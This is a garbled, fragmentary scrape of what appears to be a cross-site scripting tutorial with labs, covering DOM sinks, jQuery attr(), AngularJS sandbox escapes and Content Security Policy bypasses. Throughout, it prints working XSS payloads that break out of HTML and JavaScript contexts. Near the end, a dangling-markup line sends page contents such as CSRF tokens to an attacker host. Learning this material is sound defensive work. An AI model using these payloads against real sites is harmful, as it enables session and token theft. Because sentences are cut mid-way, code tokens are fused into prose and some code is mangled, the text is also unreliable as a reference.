javascript
or data
.window.location
object. An attacker can construct a link to send a victim to a vulnerable page with a payload in the query string and fragment portions of the URL. In certain circumstances, such as when targeting a 404 page or a website running PHP, the payload can also be placed in the path.location.search
), then use developer tools to inspect the HTML and find where your string appears.location
, you first need to find cases within the page's JavaScript code where the source is being referencedattr()
function in jQuery can change attributes on DOM elements. If data is read from a user-controlled source like the URL and then passed to the attr()
function, then it may be possible to manipulate the value sent to cause XSS.<script>alert(document.domain)</script>
<img src=1 onerror=alert(1)>
"><script>alert(document.domain)</script>
href
attribute of an anchor tag, you can use the javascript
pseudo-protocol to execute script.accesskey
attribute allows you to define a letter that, when pressed in combination with other keys (these vary across different platforms), will cause events to fire. In the next lab you can experiment with access keys and exploit a canonical tag.<script>
...
var input = 'controllable data here';
...
</script>
</script><img src=1 onerror=alert(document.domain)>
\';alert(document.domain)//
\\';alert(document.domain)//
throw
statement with an exception handler. This enables you to pass arguments to a function without using parentheses. The following code assigns the alert()
function to the global exception handler and the throw
statement passes the 1
to the exception handler (in this case alert
). The end result is that the alert()
function is called with 1
as an argument.${...}
syntaxwindow
or document
, in AngularJS template expressions. It also prevents access to potentially dangerous properties, such as __proto__
.ensureSafeObject()
function checks whether a given object references itself. This is one way to detect the window
object, for example.charAt()
function globally within an expression:'a'.constructor.prototype.charAt=[].join
[].join
method, which causes the charAt()
function to return all the characters sent to it, rather than a specific single character. Due to the logic of the isIdent()
function in AngularJS, it compares what it thinks is a single character against multiple characters. As single characters are always less than multiple characters, the isIdent()
function always returns true, as demonstrated by the following example:isIdent= function(ch) {
return ('a' <= ch && ch <= 'z' ||
'A' <= ch && ch <= 'Z' ||
'_' === ch || ch === '#x27;);
}
isIdent('x9=9a9l9e9r9t9(919)')
Content-Security-Policy
with a value containing the policy. The policy itself consists of one or more directives, separated by semicolons.script-src https://scripts.normal-website.com
script
. However, many CSPs do allow image requests. This means you can often use img
elements to make requests to external servers in order to disclose CSRF tokens, for example.>
or "
characters. An attacker can use the following syntax to break out of the quoted attribute value and the enclosing tag, and return to an HTML context:
">
"><img src='//attacker-website.com?
img
tag and defines the start of a src
attribute containing a URL on the attacker's server. Note that the attacker's payload doesn't close the src
attribute, which is left "dangling". When a browser parses the response, it will look ahead until it encounters a single quotation mark to terminate the attribute. Everything up until that character will be treated as being part of the URL and will be sent to the attacker's server within the URL query string. Any non-alphanumeric characters, including newlines, will be URL-encodedreport-uri
directive. If the site reflects a parameter that you can control, you can inject a semicolon to add your own CSP directives. Usually, this report-uri
directive is the final one in the list. This means you will need to overwrite existing directives in order to exploit this vulnerability and bypass the policy.script-src
directive. However, Chrome recently introduced the script-src-elem
directive, which allows you to control script
elements, but not events. Crucially, this new directive allows you to overwrite existing script-src
directives. Using this knowledge, you should be able to solve the following lab.